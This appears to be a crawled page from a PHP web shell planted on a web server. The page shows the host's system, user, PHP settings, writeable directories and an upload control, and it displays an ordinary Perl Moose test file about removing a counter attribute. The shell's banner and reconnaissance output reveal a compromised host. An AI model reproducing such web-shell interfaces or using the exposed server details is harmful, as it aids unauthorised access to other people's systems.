Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/usr/share/doc/perl-Moose/t/native_traits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/doc/perl-Moose/t/native_traits/remove_attribute.t
use strict;
use warnings;

use Test::More;
use Test::Fatal;

{
    package MyHomePage;
    use Moose;

    has 'counter' => (
        traits  => ['Counter'],
        is      => 'ro',
        isa     => 'Int',
        default => 0,
        handles => {
            inc_counter   => 'inc',
            dec_counter   => 'dec',
            reset_counter => 'reset',
        }
    );
}

my $page = MyHomePage->new();
isa_ok( $page, 'MyHomePage' );

can_ok( $page, $_ ) for qw[
    counter
    dec_counter
    inc_counter
    reset_counter
];

is( exception {
    $page->meta->remove_attribute('counter');
}, undef, '... removed the counter attribute okay' );

ok( !$page->meta->has_attribute('counter'),
    '... no longer has the attribute' );

ok( !$page->can($_), "... our class no longer has the $_ method" ) for qw[
    counter
    dec_counter
    inc_counter
    reset_counter
];

done_testing;

Hry